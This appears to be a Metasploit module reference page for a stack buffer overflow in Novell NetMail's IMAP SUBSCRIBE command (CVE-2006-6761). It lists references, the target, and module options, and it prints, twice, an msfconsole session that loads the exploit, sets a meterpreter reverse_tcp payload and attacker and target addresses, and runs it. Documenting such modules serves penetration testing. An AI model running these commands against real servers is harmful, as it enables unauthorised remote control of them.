Novell NetMail <= 3.52d IMAP SUBSCRIBE Buffer Overflow
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE verb. By sending an overly long string, an attacker can overwrite the buffer and control program execution.
Exploit Rank
- Average
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
- CVE-2006-6761
- OSVDB-31360
- BID-21728
- http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454
Exploit Targets
- 0 - Windows 2000 SP0-SP4 English (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/imap/eudora_list
- exploit/windows/imap/imail_delete
- exploit/windows/imap/ipswitch_search
- exploit/windows/imap/mailenable_login
- exploit/windows/imap/mailenable_status
- exploit/windows/imap/mailenable_w3c_select
- exploit/windows/imap/mdaemon_cram_md5
- exploit/windows/imap/mdaemon_fetch
- exploit/windows/imap/mercur_imap_select_overflow
- exploit/windows/imap/mercur_login
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/imap/novell_netmail_subscribe
msf exploit(novell_netmail_subscribe) > show payloads
msf exploit(novell_netmail_subscribe) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(novell_netmail_subscribe) > set LHOST [MY IP ADDRESS]
msf exploit(novell_netmail_subscribe) > set RHOST [TARGET IP]
msf exploit(novell_netmail_subscribe) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/imap/novell_netmail_subscribe
msf exploit(novell_netmail_subscribe) > show payloads
msf exploit(novell_netmail_subscribe) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(novell_netmail_subscribe) > set LHOST [MY IP ADDRESS]
msf exploit(novell_netmail_subscribe) > set RHOST [TARGET IP]
msf exploit(novell_netmail_subscribe) > exploit
Exploit Module Options
| IMAPPASS | The password for the specified username |
| IMAPUSER | The username to authenticate as |
| RHOST | The target address |
| RPORT | The target port (default: 143) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
